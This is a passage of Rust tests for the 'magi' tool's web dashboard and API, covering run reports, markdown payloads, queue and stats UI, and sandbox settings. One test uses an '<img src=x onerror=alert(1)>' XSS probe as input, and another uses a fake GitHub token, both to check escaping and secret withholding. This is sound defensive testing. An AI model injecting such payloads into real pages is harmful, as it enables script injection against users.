15932 v_empty["deliberation"] = serde_json::json!([]);
15933 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
15934
15935 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
15936 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
15937 let j_empty = res_empty.json();
15938 let judging_empty = j_empty["sections"]
15939 .as_array()
15940 .unwrap()
15941 .iter()
15942 .find(|s| s["kind"] == "judging")
15943 .expect("judging section exists");
15944 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
15945 }
15946
15947 #[tokio::test]
15948 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
15949 let f = Fixture::start().await;
15950
15951 let html = f.get("/").await;
15952 let css = f.get("/app.css").await;
15953 let js = f.get("/app.js").await;
15954
15955 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
15956 assert!(
15957 html.headers
15958 .contains("content-type: text/html; charset=utf-8")
15959 );
15960 assert!(css.headers.contains("content-type: text/css"));
15961 assert!(js.headers.contains("content-type: text/javascript"));
15962 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
15963 }
15964
15965 #[test]
15966 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
15967 let body = |name: &str| {
15968 let at = APP_JS
15969 .find(name)
15970 .unwrap_or_else(|| panic!("{name} missing"));
15971 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15972 };
15973 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
15974 let note = body("function landRoundNote");
15975 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
15976 assert!(note.contains("Land round ${round}"));
15977 let land = body("function renderLand");
15978 let note_at = land
15979 .find("landRoundNote(pr)")
15980 .expect("renderLand uses the note");
15981 assert!(
15982 note_at
15983 < land
15984 .find("roundRail(pr)")
15985 .expect("renderLand uses the rail")
15986 );
15987 }
15988
15989 #[test]
15990 fn the_runs_page_redesign_keeps_its_guards() {
15991 let body = |name: &str| {
15992 let at = APP_JS
15993 .find(name)
15994 .unwrap_or_else(|| panic!("{name} missing"));
15995 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15996 };
15997 let land = body("function renderLand");
15999 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
16000 assert!(
16001 !land.contains("box.append("),
16002 "renderLand must use append()"
16003 );
16004 assert!(land.contains("append(box, ["));
16005 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
16007 assert!(
16008 body("function applyRoute")
16009 .contains("route.name !== state.route.name || route.id !== state.route.id")
16010 );
16011 assert!(!APP_JS.contains("adviseConvergeDiagram"));
16013 assert!(!INDEX_HTML.contains("advise-converge"));
16014 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
16015 assert!(APP_JS.contains("provisional"));
16016 for id in [
16017 "run-tab-overview",
16018 "run-tab-timeline",
16019 "run-tab-report",
16020 "run-report",
16021 "runs-scope",
16022 ] {
16023 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
16024 }
16025 assert!(!INDEX_HTML.contains("runs-tree"));
16026 assert!(!INDEX_HTML.contains("run-raw-panel"));
16027 assert!(APP_JS.contains("resume"));
16029 assert!(APP_JS.contains("unreadable"));
16031 }
16032
16033 #[test]
16034 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
16035 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
16036 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
16037 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
16038 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
16039 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
16040 assert!(APP_JS.contains("unreadable` : null"));
16042 }
16043
16044 #[test]
16045 fn blocked_run_detail_exposes_the_failed_gate_reason() {
16046 let mut state = RunState::new(
16047 "/repo".into(),
16048 "main".into(),
16049 "abc".into(),
16050 "task".into(),
16051 crate::config::Config::default(),
16052 );
16053 state.status = RunStatus::Blocked;
16054 state.gate_ran = true;
16055 state.gate.push(crate::run::CommandOutcome {
16056 command: "cargo make check".into(),
16057 code: Some(1),
16058 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
16059 duration_ms: 0,
16060 resource_blocked: false,
16061 });
16062 let view = RunDetailView::of(
16063 state,
16064 false,
16065 crate::run::Liveness::Unknown,
16066 None,
16067 None,
16068 None,
16069 );
16070 let value = serde_json::to_value(view).unwrap();
16071 assert_eq!(
16072 value["stop_reason"],
16073 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
16074 );
16075 }
16076
16077 #[test]
16078 fn the_run_detail_payload_says_whether_the_run_is_done() {
16079 for (status, done) in [
16081 (RunStatus::Superseded, true),
16082 (RunStatus::Blocked, true),
16083 (RunStatus::Landing, false),
16084 ] {
16085 let mut state = RunState::new(
16086 std::path::PathBuf::from("/repo"),
16087 "main".to_owned(),
16088 "abc".to_owned(),
16089 "x".to_owned(),
16090 crate::config::Config::default(),
16091 );
16092 state.status = status;
16093 let v = serde_json::to_value(RunDetailView::of(
16094 state,
16095 false,
16096 crate::run::Liveness::Unknown,
16097 None,
16098 None,
16099 None,
16100 ))
16101 .unwrap();
16102 assert_eq!(v["done"], done, "{status:?}");
16103 }
16104 }
16105
16106 fn has_strong(nodes: &[md::Node]) -> bool {
16108 serde_json::to_string(nodes).unwrap().contains("strong")
16109 }
16110
16111 #[test]
16112 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
16113 let mut state = RunState::new(
16114 std::path::PathBuf::from("/repo"),
16115 "main".to_owned(),
16116 "abc".to_owned(),
16117 "x".to_owned(),
16118 crate::config::Config::default(),
16119 );
16120 let proposal = |approach: &str| {
16121 serde_json::json!({
16122 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
16123 })
16124 };
16125 state.advice = Some(
16126 serde_json::from_value(serde_json::json!({
16127 "records": [
16128 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
16129 "proposal": proposal("do **this**")},
16130 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
16131 ],
16132 "synthesis": "- one\n- **two**\n\n`code`",
16133 }))
16134 .unwrap(),
16135 );
16136 state.candidates = serde_json::from_value(serde_json::json!([
16137 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
16138 "summary": "did **it**"},
16139 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
16140 ]))
16141 .unwrap();
16142 state.reviews = serde_json::from_value(serde_json::json!([{
16145 "round": 1, "head": "h",
16146 "reviews": [{
16147 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
16148 "findings": [
16149 {"severity": "nit", "title": "t1", "detail": "plain nit"},
16150 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
16151 ],
16152 }],
16153 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
16154 "fix": {"agent": "a", "notes": "fixed **it**",
16155 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
16156 }, {"round": 2, "head": "h2", "reviews": []}]))
16157 .unwrap();
16158
16159 let v = serde_json::to_value(RunDetailView::of(
16160 state,
16161 false,
16162 crate::run::Liveness::Unknown,
16163 None,
16164 None,
16165 None,
16166 ))
16167 .unwrap();
16168
16169 let strong = |p: &str| {
16170 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
16171 assert!(n.to_string().contains("strong"), "{p}: {n}");
16172 };
16173 strong("/advice_md/synthesis");
16174 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
16175 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
16176 strong("/advice_md/approaches/0");
16177 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
16178 strong("/candidate_summaries_md/0");
16179 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
16180 strong("/reviews_md/0/reviewers/0/summary");
16181 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
16182 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
16183 assert!(f[1].to_string().contains("strong"));
16184 strong("/reviews_md/0/reconsideration/0");
16185 strong("/reviews_md/0/fix/notes");
16186 strong("/reviews_md/0/fix/rejected/0");
16187 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
16188 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
16189 assert_eq!(v["candidates"][0]["summary"], "did **it**");
16191 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
16192 }
16193
16194 #[test]
16195 fn a_run_without_advice_has_no_advice_md() {
16196 let state = RunState::new(
16197 std::path::PathBuf::from("/repo"),
16198 "main".to_owned(),
16199 "abc".to_owned(),
16200 "x".to_owned(),
16201 crate::config::Config::default(),
16202 );
16203 let p = run_prose_md(&state);
16204 assert!(p.advice_md.is_none());
16205 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
16206 }
16207
16208 #[test]
16209 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
16210 let store = ask::Questions::at(PathBuf::from("unused"));
16211 let gt = crate::github_text::Withheld {
16212 title: false,
16213 body: true,
16214 categories: vec!["sensitive-data".into()],
16215 };
16216 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
16217 let (detail, comparison) =
16218 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16219 let mut q = Question::new(
16220 "r".into(),
16221 "github-text".into(),
16222 "posting-gate".into(),
16223 "s".into(),
16224 detail,
16225 Vec::new(),
16226 );
16227 assert!(
16228 QuestionView::of(q.clone(), &store, false)
16229 .posting_view
16230 .is_none()
16231 );
16232 q.posting_comparison = Some(comparison);
16233 let view = QuestionView::of(q.clone(), &store, false);
16234 let field = &view.posting_view.unwrap().fields[0];
16235 assert_eq!(
16236 field
16237 .original
16238 .iter()
16239 .map(|f| f.text.as_str())
16240 .collect::<String>(),
16241 body
16242 );
16243 assert!(field.original[0].text.starts_with("<img"));
16244 let original_question: Question =
16245 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
16246 assert_eq!(original_question, q);
16247 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
16248 .original
16249 .start = 1;
16250 assert!(
16251 QuestionView::of(q.clone(), &store, false)
16252 .posting_view
16253 .is_none()
16254 );
16255 q.posting_comparison = original_question.posting_comparison;
16256 q.detail.push_str("extra context");
16257 assert!(
16258 QuestionView::of(q.clone(), &store, false)
16259 .posting_view
16260 .is_some()
16261 );
16262 q.detail.insert(0, 'x');
16263 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
16264 }
16265
16266 #[test]
16267 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
16268 let store = ask::Questions::at(PathBuf::from("unused"));
16269 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
16270 let gt = crate::github_text::Withheld::from_check(
16271 &crate::github_text::check("fix: x", body),
16272 "fix: x",
16273 body,
16274 )
16275 .unwrap();
16276 let (detail, comparison) =
16277 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16278 let mut q = Question::new(
16279 "r".into(),
16280 "github-text".into(),
16281 "posting-gate".into(),
16282 "s".into(),
16283 detail,
16284 Vec::new(),
16285 );
16286 q.posting_comparison = Some(comparison);
16287 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
16288 let field = &value["posting_view"]["fields"][0];
16289 let group = &field["replacement_group"];
16290 let triggers = group["triggers"].as_array().unwrap();
16291 assert_eq!(triggers.len(), 2);
16292 assert_ne!(triggers[0], triggers[1]);
16293 for id in triggers {
16294 assert!(
16295 field["original"]
16296 .as_array()
16297 .unwrap()
16298 .iter()
16299 .any(|f| &f["pair"] == id)
16300 );
16301 assert!(
16302 !field["changed"]
16303 .as_array()
16304 .unwrap()
16305 .iter()
16306 .any(|f| &f["pair"] == id)
16307 );
16308 }
16309 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
16310 group["id"].as_u64().unwrap() as usize;
16311 assert!(
16312 QuestionView::of(q, &store, false).posting_view.is_none(),
16313 "group and trigger IDs cannot collide"
16314 );
16315 }
16316
16317 #[test]
16318 fn a_question_view_carries_markdown_for_each_thread_turn() {
16319 let home = TempDir::new().unwrap();
16320 let store = ask::Questions::at(home.path().join("questions"));
16321 let mut q = Question::new(
16322 "run".to_owned(),
16323 "implement".to_owned(),
16324 "impl-A".to_owned(),
16325 "which?".to_owned(),
16326 String::new(),
16327 Vec::new(),
16328 );
16329 q.say("plain words").unwrap();
16330 q.reply("use **this**", Vec::new()).unwrap();
16331 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16332 let bodies = &v["thread_bodies_md"];
16333 assert_eq!(bodies.as_array().unwrap().len(), 2);
16334 assert!(!bodies[0].to_string().contains("strong"));
16335 assert!(bodies[1].to_string().contains("strong"));
16336 }
16337
16338 #[test]
16339 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
16340 let home = TempDir::new().unwrap();
16341 let store = ask::Questions::at(home.path().join("questions"));
16342 let mut q = Question::new(
16343 "run".to_owned(),
16344 "conduct".to_owned(),
16345 "conduct".to_owned(),
16346 "which?".to_owned(),
16347 String::new(),
16348 Vec::new(),
16349 );
16350 q.say("plain words").unwrap();
16351 q.thread.push(ask::Turn {
16352 who: ask::Who::Agent,
16353 body: "Settled as `merge`".to_owned(),
16354 at: jiff::Timestamp::now(),
16355 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
16356 });
16357 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16358 let notes = &v["thread_notes_md"];
16359 assert_eq!(notes.as_array().unwrap().len(), 2);
16360 assert!(notes[0].is_null());
16361 let text = notes[1].to_string();
16362 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
16363 assert!(APP_JS.contains("ask-turn-note"));
16364 }
16365
16366 #[test]
16367 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
16368 assert!(APP_JS.contains("function landView(run, raw) {"));
16372 assert!(
16373 APP_JS.contains(
16374 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
16375 )
16376 );
16377 assert!(APP_JS.contains("const pr = landView(run, raw);"));
16378 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
16379 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
16380 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
16381 }
16382
16383 #[test]
16384 fn live_runs_are_never_hidden_or_folded_as_superseded() {
16385 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
16386 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
16387 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
16388 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
16389 }
16390
16391 #[test]
16392 fn review_rounds_label_a_distinct_verified_head() {
16393 assert!(APP_JS.contains("round.verified_head"));
16394 assert!(APP_JS.contains("verified HEAD"));
16395 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
16396 }
16397
16398 #[test]
16399 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
16400 assert!(APP_JS.contains("blocked: { glyph:"));
16404 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
16405
16406 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
16410 assert!(
16411 APP_JS.contains(
16412 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
16413 ),
16414 "the note line must name what a blocked task is waiting on, not just that it is blocked"
16415 );
16416 assert!(APP_JS.contains("if (status === \"blocked\") {"));
16420
16421 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
16425 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
16426 assert!(
16427 APP_JS.contains("location.hash = \"#/questions\";"),
16428 "a question node must jump to the Questions screen, not pretend to be a task"
16429 );
16430
16431 assert!(APP_JS.contains("Resolved questions"));
16434 assert!(APP_JS.contains("r.answersList.append("));
16435 assert!(APP_CSS.contains(".task-answers"));
16436 {
16437 let start = APP_JS
16438 .find("function updateTalkTaskRow")
16439 .expect("updateTalkTaskRow");
16440 let body = &APP_JS[start..];
16441 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
16442 assert!(
16443 body.contains(
16444 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
16445 ),
16446 "a chat-filed task row must link to the task page"
16447 );
16448 assert!(
16449 !body.contains("#/runs/") && !body.contains("#/queue/"),
16450 "the row must not branch to a run or the queue card"
16451 );
16452 assert!(APP_CSS.contains(".talk-task-link"));
16453 }
16454 }
16455
16456 #[test]
16457 fn a_task_notification_links_to_the_task_page() {
16458 let start = APP_JS
16460 .find("function noticeLink(")
16461 .expect("noticeLink exists");
16462 let body = &APP_JS[start..];
16463 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
16464 assert!(
16465 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
16466 "a task notice's link must target the task page"
16467 );
16468 assert!(
16469 !body.contains("#/queue/"),
16470 "regression: the task link must not go back to the Backlog route"
16471 );
16472 assert!(
16473 APP_JS.contains(
16474 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
16475 ),
16476 "`#/tasks/<id>` must parse into the task route"
16477 );
16478
16479 assert!(
16481 APP_JS.contains(
16482 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
16483 ),
16484 "`#/queue/<id>` must parse into a route carrying that id"
16485 );
16486
16487 assert!(APP_JS.contains("state.queueFocus = route.id;"));
16491 assert!(APP_JS.contains("function consumeQueueFocus()"));
16492 assert!(APP_JS.contains("jumpToTask(id)"));
16493 }
16494
16495 #[test]
16498 fn chat_rows_put_the_title_alone_on_the_first_line() {
16499 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
16500 assert!(APP_CSS.contains(
16501 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
16502 ));
16503 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
16504 assert!(APP_JS.contains("class: \"badge talk-unread\""));
16505 }
16506
16507 #[test]
16508 fn run_rows_put_the_title_alone_on_the_first_line() {
16509 assert!(
16510 APP_CSS.contains(
16511 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
16512 )
16513 );
16514 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
16515 assert!(APP_JS.contains("class: \"card run-card\""));
16516 assert!(APP_JS.contains("class: \"repo run-id\""));
16517 }
16518
16519 #[test]
16523 fn wide_screens_show_list_and_preview_side_by_side() {
16524 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
16526 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
16527 assert!(APP_CSS.contains("main[data-split]"));
16528 assert!(APP_CSS.contains("body[data-split]"));
16529
16530 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
16532 assert!(
16533 APP_JS.contains(
16534 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
16535 )
16536 );
16537 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
16538 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
16539 assert!(INDEX_HTML.contains("id=\"split-empty\""));
16540
16541 assert!(APP_JS.contains("function markSelected() {"));
16543 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
16544 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
16545 assert!(
16547 APP_CSS.contains(
16548 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
16549 )
16550 );
16551
16552 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
16554 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
16555 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
16556 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
16557
16558 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
16562 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
16563 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
16564 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
16565
16566 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
16568 }
16569
16570 #[test]
16571 fn panel_sandbox_carries_exactly_popups() {
16572 let needle = "sandbox: \"";
16573 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
16574 assert_eq!(
16575 matches.len(),
16576 1,
16577 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
16578 );
16579 let start = matches[0].0 + needle.len();
16580 let end = APP_JS[start..]
16581 .find('"')
16582 .expect("sandbox attribute value must be terminated by a closing quote");
16583 let val = &APP_JS[start..start + end];
16584 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
16585 let expected: std::collections::BTreeSet<&str> =
16586 ["allow-popups", "allow-popups-to-escape-sandbox"]
16587 .into_iter()
16588 .collect();
16589 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
16590 assert!(
16591 !tokens.contains("allow-scripts"),
16592 "allow-scripts must never be present in sandbox"
16593 );
16594 assert!(
16595 !tokens.contains("allow-same-origin"),
16596 "allow-same-origin must never be present in sandbox"
16597 );
16598 }
16599
16600 #[test]
16601 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
16602 assert!(
16611 APP_JS.contains(
16612 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
16613 ),
16614 "the search-clearing branch must run before state.queueFocus is cleared, or the \
16615 recursive renderQueue() call has nothing left to jump to"
16616 );
16617 assert!(
16618 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
16619 "state.queueFocus must be cleared only once the jump has landed, so a card that \
16620 arrives later still gets it"
16621 );
16622 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
16623 assert!(APP_JS.contains("is not in the current Backlog."));
16624 assert!(APP_JS.contains("li.card[data-task-id=\""));
16625 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
16626 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
16627 assert!(APP_CSS.contains(".card-permalink"));
16628 assert!(APP_CSS.contains(".queue-focus-status"));
16629 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
16630 }
16631
16632 #[test]
16633 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
16634 assert!(
16642 APP_JS.contains(
16643 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
16644 ),
16645 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
16646 );
16647 }
16648
16649 #[test]
16650 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
16651 assert!(
16652 APP_JS.contains("round.verified_head !== round.head"),
16653 "a round that verified an earlier commit must be visibly distinct from one that \
16654 verified the head reviewers are looking at now"
16655 );
16656 assert!(
16657 APP_JS.contains("round.verified_at"),
16658 "when a check ran must be on the wire, not just which commit"
16659 );
16660 assert!(
16661 APP_JS.contains("resource_blocked"),
16662 "a command magi never got to run (shared build cache contention) must not render \
16663 the same as a command that ran and failed"
16664 );
16665 }
16666
16667 #[test]
16668 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
16669 assert!(
16677 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
16678 "every KPI tile built through statusTile() must route its click through \
16679 openRunsFiltered, the single place that sets the Runs filter"
16680 );
16681 for (label, status) in [
16682 ("Merged", "merged"),
16683 ("Ready", "ready"),
16684 ("Blocked", "blocked"),
16685 ("Stalled", "stalled"),
16686 ] {
16687 let call = format!("statusTile(\"{label}\", t.{status}, ");
16688 assert!(
16689 APP_JS.contains(&call),
16690 "expected the {label} KPI tile built via {call}..."
16691 );
16692 assert!(
16693 APP_JS.contains(&format!("status === \"{status}\"")),
16694 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
16695 compare a run against, not one invented only for the stats tile"
16696 );
16697 }
16698 assert!(
16699 APP_JS.contains("function openRunsFiltered(status)"),
16700 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
16701 );
16702 assert!(
16703 APP_JS.contains(
16704 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
16705 ),
16706 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
16707 );
16708 assert!(
16716 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
16717 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
16718 hashchange event that may never fire"
16719 );
16720 }
16721
16722 #[test]
16723 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
16724 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
16730 assert!(
16731 APP_JS.contains(
16732 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
16733 ),
16734 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
16735 guard for an incompatible tree section"
16736 );
16737 }
16738
16739 #[test]
16740 fn every_stats_queue_tile_names_a_real_queue_section() {
16741 assert!(
16747 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
16748 "every queue tile built through sectionTile() must route its click through \
16749 openQueueSectionFocus"
16750 );
16751 for key in ["upnext", "running", "done", "held", "blocked"] {
16752 assert!(
16753 APP_JS.contains(&format!("{{ key: \"{key}\",")),
16754 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
16755 );
16756 }
16757 for line in [
16761 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
16762 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
16763 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
16764 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
16765 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
16766 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
16767 ] {
16768 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
16769 }
16770 }
16771
16772 #[test]
16773 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
16774 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
16781 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
16782 assert!(APP_JS.contains("function revealQueueSection(details)"));
16783 assert!(
16784 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
16785 "renderQueue() must consume both focus channels on every pass"
16786 );
16787 assert!(
16788 APP_JS.contains(
16789 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
16790 ),
16791 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
16792 the recursive renderQueue() call has nothing left to reveal"
16793 );
16794 assert!(
16795 APP_JS.contains(
16796 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
16797 ),
16798 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
16799 );
16800 assert!(
16808 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
16809 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
16810 hashchange event that may never fire"
16811 );
16812 }
16813
16814 #[tokio::test]
16815 async fn the_change_stream_announces_the_current_revisions_on_connect() {
16816 let f = Fixture::start().await;
16817
16818 let mut socket = tokio::net::TcpStream::connect(f.addr)
16819 .await
16820 .expect("connect");
16821 socket
16822 .write_all(
16823 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
16824 )
16825 .await
16826 .expect("write request");
16827
16828 let mut seen = String::new();
16831 let mut buf = [0u8; 1024];
16832 while !seen.contains("event: change") {
16833 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
16834 .await
16835 .expect("the stream must speak within five seconds")
16836 .expect("read");
16837 assert!(read > 0, "the server closed the change stream: {seen}");
16838 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
16839 }
16840
16841 assert!(
16842 seen.to_lowercase()
16843 .contains("content-type: text/event-stream"),
16844 "the browser only reconnects automatically for a real SSE stream: {seen}"
16845 );
16846 let data = seen
16847 .lines()
16848 .find_map(|l| l.strip_prefix("data:"))
16849 .expect("a data line");
16850 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
16851 assert!(
16852 payload["queue_rev"].is_u64()
16853 && payload["runs_rev"].is_u64()
16854 && payload["questions_rev"].is_u64()
16855 && payload["talks_rev"].is_u64()
16856 && payload["notifications_rev"].is_u64()
16857 && payload["loop_rev"].is_u64(),
16858 "the client needs one revision per store to know what to refetch, \
16859 and `talks_rev` is the only notification a standing talk gets - a \
16860 phone whose radio slept through a turn learns about it here, as \
16861 does one whose operator started the loop from another device: \
16862 {payload}"
16863 );
16864
16865 let health = f.get("/api/health").await.json();
16872 for key in [
16873 "queue_rev",
16874 "runs_rev",
